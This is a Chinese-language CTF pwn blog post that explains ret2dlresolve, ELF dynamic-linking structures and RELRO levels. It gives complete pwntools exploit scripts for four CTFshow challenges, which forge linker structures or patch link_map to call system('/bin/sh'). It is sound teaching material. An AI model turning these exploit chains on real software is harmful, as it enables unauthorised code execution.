首页/文章/CTF PWN

Ret2dlresolve

对 ret2dlresolve 的知识总结

学习不是为了征服世界,而是为了不辜负每一次好奇心的出发。

懒绑定

正常程序第一次执行某一个函数的时候,大致流程如下图,以 puts 举例

text
call puts@plt          |          vputs@plt:      jmp [puts@got]    // 第一次 puts got 表还没解析,所以 jmp puts@plt + 6 也就是 push reloc_index      push reloc_index      jmp plt0          |          v plt0:      push link_map      jmp _dl_runtime_resolve          |          v 动态链接器 resolver          |          | 通过 link_map 找 .dynamic          v  .dynamic    DT_JMPREL -> .rela.plt    DT_SYMTAB -> .dynsym    DT_STRTAB -> .dynstr          |          vPLT push reloc_index          |          v  .rela.plt[reloc_index]          |          | r_info 高 32 位          v  .dynsym[sym_index]          |          | st_name          v  .dynstr + st_name          |          v  "puts\x00"          |          v   version_index = .gnu.version[sym_index] (64 位)          |          v  动态链接器在 libc 找 puts          |          v  写回 r_offset,也就是 puts@got

首先 push reloc_index 索引,例如 push 0 ,此时索引就是 0 ,那么此时函数查找 .rela.plt[0] ,这是一个结构体数组,其 r_info 项高 32 位存储了 sym_index 索引 ,地位则存储的例如 7 ,代表 plt/got 重定位,其 r_offset 指定了最终查询到的真实地址应该写到哪里,之后系统去 dym[sym_index] 找到 st_name 偏移,找到后去到 .dymstr 找对映的偏移,例如,找到字符串 read\x00 ,那通过动态连接查找 readlibc 中的真实地址,并写回 r_offset

具体结构

64 位

c
typedef struct {    Elf64_Addr r_offset;   // 8 bytes    Elf64_Xword r_info;    // 8 bytes    Elf64_Sxword r_addend; // 8 bytes} Elf64_Rela;r_info = (sym_index << 32) | 7R_X86_64_JUMP_SLOT = 7// 0x18 bytestypedef struct {    Elf64_Word    st_name;  // 4 bytes    unsigned char st_info;  // 1 byte    unsigned char st_other; // 1 byte    Elf64_Section st_shndx; // 2 bytes    Elf64_Addr    st_value; // 8 bytes    Elf64_Xword   st_size;  // 8 bytes} Elf64_Sym;// 0x18 bytes  typedef struct {      Elf64_Sxword d_tag; // 8 bytes      union {          Elf64_Xword d_val;          Elf64_Addr  d_ptr;      } d_un;             // 8 bytes  } Elf64_Dyn;  // 0x10 bytes
asm
plt0:      push qword ptr [got.plt + 8] (link map)      jmp  qword ptr [got.plt + 16] (dl_runtime_resolve)  func@plt:      jmp  qword ptr [func@got]      push reloc_arg      jmp  plt0
版本表 .gnu.version
c
 typedef uint16_t Elf64_Versym;  Elf64_Versym versym[];

versym[sym_index] 对应 dynsym[sym_index] 的版本编号 也就是: .dynsym[i] <-> .gnu.version[i]

32 位

c
typedef struct {    Elf32_Addr r_offset; // 4 bytes    Elf32_Word r_info;   // 4 bytes} Elf32_Rel;// 0x8 bytesr_info = (sym_index << 8) | 7typedef struct {    Elf32_Word    st_name;  // 4 bytes    Elf32_Addr    st_value; // 4 bytes    Elf32_Word    st_size;  // 4 bytes    unsigned char st_info;  // 1 byte    unsigned char st_other; // 1 byte    Elf32_Section st_shndx; // 2 bytes} Elf32_Sym;// 0x10 bytestypedef struct {      Elf32_Sword d_tag; // 4 bytes      union {          Elf32_Word d_val;          Elf32_Addr d_ptr;      } d_un;           // 4 bytes} Elf32_Dyn;  // 0x8 bytes
asm
plt0:      push dword ptr [got.plt + 4]      jmp  dword ptr [got.plt + 8]  func@plt:      jmp  dword ptr [func@got]      push reloc_arg      jmp  plt0

常用 d_tag:

asm
DT_STRTAB = 5;   // 指向 .dynstrDT_SYMTAB = 6;   // 指向 .dynsymDT_JMPREL = 23;  // 指向 .rel.plt / .rela.pltDT_PLTGOT = 3;   // 指向 .got.pltDT_PLTRELSZ = 2; // .rel.plt/.rela.plt 总大小DT_PLTREL = 20;  // 32位常见 DT_REL=17,64位常见 DT_RELA=7DT_SYMENT = 11;  // sizeof(Elf*_Sym)DT_STRSZ = 10;   // dynstr 大小DT_VERSYM = 0x6ffffff0;DT_VERNEED = 0x6ffffffe;DT_VERNEEDNUM = 0x6fffffff;

具体利用方式

  • NO RELRO
    表项权限
    .got可写
    .got.plt可写
    .dynamic可写
    懒解析开启
  • Partial-RELRO
    表项权限
    .got运行时只读
    .got.plt可写
    .dynamic通常只读
    懒解析开启
  • FULL RELRO
    表项权限
    .got只读
    .got.plt只读
    所有函数启动时提前解析
    懒解析关闭

32 位

NO RELRO

方法 1:标准 ret2dlresolve

自己伪造:

asm
  fake .dynstr : "system\x00"  fake .dynsym : Elf32_Sym  fake .rel.plt: Elf32_Rel

触发流程:

  1. 栈溢出
  2. read(0, fake_area, payload_len)
  3. 写入 fake dynstr/sym/rel/binsh
  4. 跳 plt0
  5. reloc_arg = fake_rel_addr - relplt
  6. resolver 解析 system
  7. system("/bin/sh")

关键公式:

  1. sym_index = (fake_sym_addr - dynsym) // 0x10
  2. r_info = (sym_index << 8) | 0x7
  3. reloc_arg = fake_rel_addr - relplt

注意:

text
  Elf32_Sym 大小 0x10,fake_sym 要 0x10 对齐  Elf32_Rel 大小 0x8  r_info 低 8 位必须是 0x7,也就是 R_386_JMP_SLOT  r_offset 要指向可写地址,因为 resolver 会把 system 地址写过去
方法 2:改 DT_STRTAB 指针

适合 No RELRO,因为 .dynamic 可写。

思路:

不伪造 rel/sym 只复用 read 原来的 .rel.plt 和 .dynsym 只复制一份 fake .dynstr 把 fake .dynstr 里的 read 改成 system 再把 .dynamic 里的 DT_STRTAB 指向 fake .dynstr 最后跳 read@plt+6 重新解析

注意:

  1. 跳 read@plt+6,不是 read@plt
  2. 因为 read@plt 开头会直接 jmp [read@got]
  3. read 已经解析过时,就不会进 resolver
  4. read@plt+6 才会 push reloc_arg; jmp plt0
例题 082
题目描述

高级ROP 32 位 NO-RELRO

alt text

alt text

alt text

alt text

alt text

alt text

第一个是手搓的 payload

python
#!/usr/bin/env python3from pwn import *context(arch='i386', os='linux')elf = ELF('./pwn')p = process('./pwn')def align_by(addr, base, size):    return addr + ((size - ((addr - base) % size)) % size)'''remainder = (addr - dynsym) % 0x10if remainder == 0:    padding = 0else:    padding = 0x10 - remainderaligned_addr = addr + padding'''offset = 0x70read_plt = elf.plt['read']plt0 = elf.get_section_by_name('.plt').header.sh_addrrelplt = elf.dynamic_value_by_tag('DT_JMPREL')dynsym = elf.dynamic_value_by_tag('DT_SYMTAB')dynstr = elf.dynamic_value_by_tag('DT_STRTAB')# add esp, 8; pop ebx; retread_ret = 0x0804834adata_addr = 0x08049900sym_size = 0x10rel_size = 0x08r_386_jump_slot = 0x07system_str_addr = data_addrfake_sym_addr = align_by(system_str_addr + len(b'system\x00'), dynsym, sym_size)fake_rel_addr = fake_sym_addr + sym_sizebinsh_addr = fake_rel_addr + rel_sizest_name = system_str_addr - dynstrsym_index = (fake_sym_addr - dynsym) // sym_sizer_info = (sym_index << 8) | r_386_jump_slotreloc_arg = fake_rel_addr - relpltassert (fake_sym_addr - dynsym) % sym_size == 0# Elf32_Sym:#   st_name, st_value, st_size, st_info, st_other, st_shndxfake_sym = flat(    p32(st_name),    p32(0),    p32(0),    p8(0x12),  # STB_GLOBAL | STT_FUNC 即全局函数符号    p8(0),    p16(0),)# Elf32_Rel:#   r_offset, r_infofake_rel = flat(    p32(data_addr),    p32(r_info),)dlresolve_payload = b'system\x00'dlresolve_payload = dlresolve_payload.ljust(fake_sym_addr - data_addr, b'a')dlresolve_payload += fake_symdlresolve_payload += fake_reldlresolve_payload += b'/bin/sh\x00'stage1 = b'a' * offsetstage1 += p32(read_plt)stage1 += p32(read_ret)stage1 += p32(0)stage1 += p32(data_addr)stage1 += p32(len(dlresolve_payload))stage1 += p32(plt0)stage1 += p32(reloc_arg)stage1 += p32(0)stage1 += p32(binsh_addr)log.info('plt0            = %#x', plt0)log.info('read@plt        = %#x', read_plt)log.info('.rel.plt        = %#x', relplt)log.info('.dynsym         = %#x', dynsym)log.info('.dynstr         = %#x', dynstr)log.info('system string   = %#x', system_str_addr)log.info('fake Elf32_Sym  = %#x', fake_sym_addr)log.info('fake Elf32_Rel  = %#x', fake_rel_addr)log.info('/bin/sh         = %#x', binsh_addr)log.info('sym_index       = %#x', sym_index)log.info('r_info          = %#x', r_info)log.info('reloc_arg       = %#x', reloc_arg)p.recvuntil(b'Welcome to CTFshowPWN!\n')p.send(stage1)sleep(0.1)p.sendline(dlresolve_payload)p.interactive()

第二个是用的 pwntools 的工具

python
#! /usr/bin/env python3 from pwn import *context(arch='i386', os='linux')elf = ELF('./pwn')p = process('./pwn')offset = 0x70data_addr = 0x8049900dlresolve = Ret2dlresolvePayload(      elf,      symbol='system',      args=['/bin/sh'],      data_addr=data_addr)rop = ROP(elf)rop.read(0, data_addr, len(dlresolve.payload))rop.ret2dlresolve(dlresolve)p.recvuntil(b'Welcome to CTFshowPWN!\n')p.sendline(flat({    offset: rop.chain()}))p.sendline(dlresolve.payload)p.interactive()

Partial RELRO

常用还是方法一

例题 083
题目描述

高级ROP 32 位 Partial-RELRO

alt text

我们这里选 0x804a000 - 0x804b000 去写

python
#!/usr/bin/env python3from pwn import *context(arch='i386', os='linux')elf = ELF('./pwn')p = remote('pwn.challenge.ctf.show',28182)def align_by(addr, base, size):    return addr + ((size - ((addr - base) % size)) % size)'''remainder = (addr - dynsym) % 0x10if remainder == 0:    padding = 0else:    padding = 0x10 - remainderaligned_addr = addr + padding'''offset = 112read_plt = elf.plt['read']plt0 = elf.get_section_by_name('.plt').header.sh_addrrelplt = elf.dynamic_value_by_tag('DT_JMPREL')dynsym = elf.dynamic_value_by_tag('DT_SYMTAB')dynstr = elf.dynamic_value_by_tag('DT_STRTAB')# add esp, 8; pop ebx; retread_ret = 0x0804836a data_addr = 0x0804a040sym_size = 0x10rel_size = 0x08r_386_jump_slot = 0x07system_str_addr = data_addrfake_sym_addr = align_by(system_str_addr + len(b'system\x00'), dynsym, sym_size)fake_rel_addr = fake_sym_addr + sym_sizebinsh_addr = fake_rel_addr + rel_sizest_name = system_str_addr - dynstrsym_index = (fake_sym_addr - dynsym) // sym_sizer_info = (sym_index << 8) | r_386_jump_slotreloc_arg = fake_rel_addr - relpltassert (fake_sym_addr - dynsym) % sym_size == 0# Elf32_Sym:#   st_name, st_value, st_size, st_info, st_other, st_shndxfake_sym = flat(    p32(st_name),    p32(0),    p32(0),    p8(0x12),  # STB_GLOBAL | STT_FUNC 即全局函数符号    p8(0),    p16(0),)# Elf32_Rel:#   r_offset, r_infofake_rel = flat(    p32(data_addr),    p32(r_info),)dlresolve_payload = b'system\x00'dlresolve_payload = dlresolve_payload.ljust(fake_sym_addr - data_addr, b'a')dlresolve_payload += fake_symdlresolve_payload += fake_reldlresolve_payload += b'/bin/sh\x00'stage1 = b'a' * offsetstage1 += p32(read_plt)stage1 += p32(read_ret)stage1 += p32(0)stage1 += p32(data_addr)stage1 += p32(len(dlresolve_payload))stage1 += p32(plt0)stage1 += p32(reloc_arg)stage1 += p32(0)stage1 += p32(binsh_addr)log.info('plt0            = %#x', plt0)log.info('read@plt        = %#x', read_plt)log.info('.rel.plt        = %#x', relplt)log.info('.dynsym         = %#x', dynsym)log.info('.dynstr         = %#x', dynstr)log.info('system string   = %#x', system_str_addr)log.info('fake Elf32_Sym  = %#x', fake_sym_addr)log.info('fake Elf32_Rel  = %#x', fake_rel_addr)log.info('/bin/sh         = %#x', binsh_addr)log.info('sym_index       = %#x', sym_index)log.info('r_info          = %#x', r_info)log.info('reloc_arg       = %#x', reloc_arg)p.recvuntil(b'Welcome to CTFshowPWN!\n')p.send(stage1.ljust(0x100, b'a'))sleep(0.1)p.send(dlresolve_payload)p.interactive()

这是手搓,注意p.send(stage1.ljust(0x100, b'a'))为什么补齐 100,这是因为不补第一个 read 会吃掉我们后面的 dlresolve gadget,所以先让第一个吃满

python
#! /usr/bin/env python3 from pwn import *context(arch='i386', os='linux')elf = ELF('./pwn')p = remote('pwn.challenge.ctf.show',28182)offset = 112data_addr = 0x804a040dlresolve = Ret2dlresolvePayload(      elf,      symbol='system',      args=['/bin/sh'],      data_addr=data_addr)rop = ROP(elf)rop.read(0, data_addr, len(dlresolve.payload))rop.ret2dlresolve(dlresolve)p.recvuntil(b'Welcome to CTFshowPWN!\n')stage1 = flat({    offset: rop.chain()})p.send(stage1.ljust(0x100, b'a'))sleep(0.5)p.send(dlresolve.payload)p.interactive()

alt text

64 位

NO RELRO

64 位不能简单直接复用 32 位的模板,原因是 resolver 会同时访问 .gnu.version + sym_index * 2 ,一旦我们的索引过大,就容易崩溃,所以我们一般是直接改 .dynamic 指针

text
DT_STRTAB -> fake_strDT_SYMTAB -> fake_symDT_JMPREL -> fake_relafake 区:fake_str : "system\x00"fake_sym : Elf64_Symfake_rela: Elf64_Relabinsh    : "/bin/sh\x00"关键构造:fake_sym.st_name = 0fake_sym.st_info = 0x12fake_rela.r_offset = writable_slotfake_rela.r_info = (0 << 32) | 0x7fake_rela.r_addend = 0最后触发:pop rdi; ret"/bin/sh" 地址plt0reloc_arg = 0
例题 084
题目描述

高级ROP 64 位 NO-RELRO

alt text

alt text

这道题我们修改 .dynamic里的指针
注意我们为什么不是伪造全部的 fake ,是因为 64 位中 resolver 会同时访问 .gnu.version + sym_index * 2 ,一旦我们的索引过大,就容易崩溃。

python
#!/usr/bin/env python3from pwn import *context.binary = './pwn'context.arch = 'amd64'context.os = 'linux'elf = context.binaryHOST = 'pwn.challenge.ctf.show'PORT = 28271p = remote(HOST, PORT)pop_rsi_r15 = 0x400771pop_rdi = 0x400773read_plt = 0x400510plt0 = 0x4004d0dyn_start = 0x600988fake_area = 0x600c00fake_str = fake_areafake_sym = fake_area + 0x10fake_rela = fake_area + 0x28binsh = fake_area + 0x40resolved_slot = fake_area + 0x80def write_at(buf, base, addr, data):    off = addr - base    assert 0 <= off <= len(buf) - len(data), hex(addr)    buf[off:off + len(data)] = datapatch1 = bytearray(elf.read(dyn_start, 0x100))write_at(patch1, dyn_start, 0x600990, p64(fake_str))write_at(patch1, dyn_start, 0x6009a0, p64(fake_sym))write_at(patch1, dyn_start, 0x600a10, p64(fake_rela))patch1 = bytes(patch1)patch2 = flat({    0x00: b'system\x00',    0x10: flat(        p32(0),     # st_name        p8(0x12),   # st_info: STB_GLOBAL | STT_FUNC        p8(0),      # st_other        p16(0),     # st_shndx        p64(0),     # st_value        p64(0),     # st_size    ),    0x28: flat(        p64(resolved_slot),        p64(7),           p64(0),         ),    0x40: b'/bin/sh\x00',}, filler=b'\x00', length=0x100)payload = flat(    b'A' * 0x70,    p64(0),    p64(pop_rsi_r15),    p64(dyn_start),    p64(0),    p64(read_plt),    p64(pop_rsi_r15),    p64(fake_area),    p64(0),    p64(read_plt),    p64(pop_rdi),    p64(binsh),    p64(plt0),    p64(0),       ).ljust(0x100, b'A')p.recvuntil(b'Welcome to CTFshowPWN!\n')p.send(payload)p.send(patch1)sleep(0.1)p.send(patch2)p.interactive()

Partial RELRO

由于 Partial RELRO ,我们的 dynamic 不能修改,我们只能去伪造 fake Elf64_Symfake Elf64_Rela ,但仅仅是这样还不够,由于 64 位 version_index = .gnu.version[sym_index] ,而 64 位中 sym_index 极大,所以会越界崩溃,所以我们需要处理 DT_VERSYM

alt text

alt text

于是要泄露 link_map 里面的相关区域,找到并清掉:

  1. link_map->l_info[DT_VERSYM]
  2. 可能还有缓存的 .gnu.version 指针

我们之前提到 plt0 中需要 push link map , link_map 是动态链接器运行时维护的结构体,在 ld.so 的内存里,地址类似 0x7f5d47f00170 ,他保存的是指针 ,例如: link_map->l_info[DT_VERSYM] -> .dynamic 里的 DT_VERSYM entry.dynamic 里的 DT_VERSYM entry 又指向:gnu version table

alt text

text
 link_map    |    | l_info[DT_VERSYM]    v  .dynamic 里的 DT_VERSYM 项    |    | d_un.d_ptr    v  .gnu.version = 0x4003F6    |    v  dw 0, dw 2, dw 2, dw 2 ...
例题 085
题目描述

高级ROP 64 位 Partial RELRO

python
#!/usr/bin/env python3from pwn import *context.arch = "amd64"context.binary = "./pwn"elf = context.binaryHOST = "pwn.challenge.ctf.show"PORT = 28117p = remote(HOST, PORT)bss_addr = elf.bss()csu_front_addr = 0x400780csu_end_addr = 0x40079Avuln_addr = 0x400637pop_rdi = 0x4007A3DT_VERSYM = 0x6ffffff0def dynamic_entry_addr(elf, tag):    dynamic = elf.get_section_by_name('.dynamic')    data = elf.read(dynamic.header.sh_addr, dynamic.header.sh_size)    for off in range(0, len(data), 0x10):        if u64(data[off:off + 8]) == tag:            return dynamic.header.sh_addr + off    raise ValueError(f"dynamic tag {hex(tag)} not found")def csu(rbx, rbp, r12, r13, r14, r15):    payload = p64(csu_end_addr)    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)    payload += p64(csu_front_addr)    payload += b'\x00' * 0x38    return payloaddef align(addr, base, size):    return (size - ((addr - base) % size)) % sizedef ret2dlresolve_x64(elf, store_addr, func_name, resolve_addr):    if isinstance(func_name, str):        func_name = func_name.encode()    plt0 = elf.get_section_by_name('.plt').header.sh_addr    rel_plt = elf.get_section_by_name('.rela.plt').header.sh_addr    relaent = elf.dynamic_value_by_tag("DT_RELAENT")    dynsym = elf.get_section_by_name('.dynsym').header.sh_addr    syment = elf.dynamic_value_by_tag("DT_SYMENT")    dynstr = elf.get_section_by_name('.dynstr').header.sh_addr    func_string_addr = store_addr    resolve_data = func_name + b"\x00"    symbol_addr = store_addr+len(resolve_data)    pad = align(symbol_addr, dynsym, syment)    symbol_addr = symbol_addr+pad    symbol = p32(func_string_addr-dynstr)+p8(0x12)+p8(0)+p16(0)+p64(0)+p64(0)    symbol_index = (symbol_addr - dynsym) // syment    resolve_data +=b'\x00'*pad    resolve_data += symbol    reloc_addr = store_addr+len(resolve_data)    pad = align(reloc_addr, rel_plt, relaent)    reloc_addr +=pad    reloc_index = (reloc_addr-rel_plt) // relaent    rinfo = (symbol_index<<32) | 7    write_reloc = p64(resolve_addr)+p64(rinfo)+p64(0)    resolve_data +=b'\x00'*pad    resolve_data +=write_reloc    resolve_call = p64(plt0) + p64(reloc_index)    return resolve_data, resolve_callp.recvuntil(b'Welcome to CTFshowPWN!\n')store_addr = bss_addr+0x100sh = b"/bin/sh\x00"rop = ROP(elf)offset = 112+8rop.raw(offset*b'\x00')resolve_data, resolve_call = ret2dlresolve_x64(elf, store_addr,"system",elf.got["write"])rop.raw(csu(0, 1 ,elf.got['read'],0,store_addr,len(resolve_data)+len(sh)))rop.raw(vuln_addr)rop.raw(b"\x00"*(256-len(rop.chain())))assert(len(rop.chain())<=256)p.send(rop.chain())p.send(resolve_data+sh)bin_sh_addr = store_addr+len(resolve_data)rop = ROP(elf)rop.raw(offset*b'\x00')rop.raw(csu(0, 1 ,elf.got['write'],1,0x601008,8))rop.raw(vuln_addr)rop.raw(b"\x00"*(256-len(rop.chain())))p.send(rop.chain())link_map_addr = u64(p.recvn(8))print(hex(link_map_addr))versym_dyn_addr = dynamic_entry_addr(elf, DT_VERSYM)versym_table_addr = elf.get_section_by_name('.gnu.version').header.sh_addrrop = ROP(elf)rop.raw(offset*b'\x00')rop.raw(csu(0, 1 ,elf.got['write'],1,link_map_addr+0x40,0x600))rop.raw(vuln_addr)rop.raw(b"\x00"*(256-len(rop.chain())))p.send(rop.chain())l_info = p.recvn(0x600)versym_slot_offs = []for off in range(0, len(l_info), 8):    value = u64(l_info[off:off + 8])    if value in (versym_dyn_addr, versym_table_addr):        versym_slot_offs.append(0x40 + off)if not versym_slot_offs:    raise RuntimeError("failed to locate link_map VERSYM slots")print("VERSYM slots:", [hex(link_map_addr + off) for off in versym_slot_offs])for versym_slot_off in versym_slot_offs:    rop = ROP(elf)    rop.raw(offset*b'\x00')    # Clear both the l_info[DT_VERSYM] slot and any cached .gnu.version    # pointer, because different ld.so versions consult different fields.    rop.raw(csu(0, 1 ,elf.got['read'],0,link_map_addr+versym_slot_off,8))    rop.raw(vuln_addr)    rop.raw(b"\x00"*(256-len(rop.chain())))    p.send(rop.chain())    sleep(0.2)    p.send(p64(0))rop = ROP(elf)rop.raw(offset*b'\x00')rop.raw(pop_rdi)rop.raw(bin_sh_addr)rop.raw(resolve_call)rop.raw(b"\x00"*(256-len(rop.chain())))p.send(rop.chain())p.interactive()

alt text

许可协议

本文采用 署名-非商业性使用-相同方式共享 4.0 国际 许可协议,转载请注明出处。

读者回信

正在翻开留言页...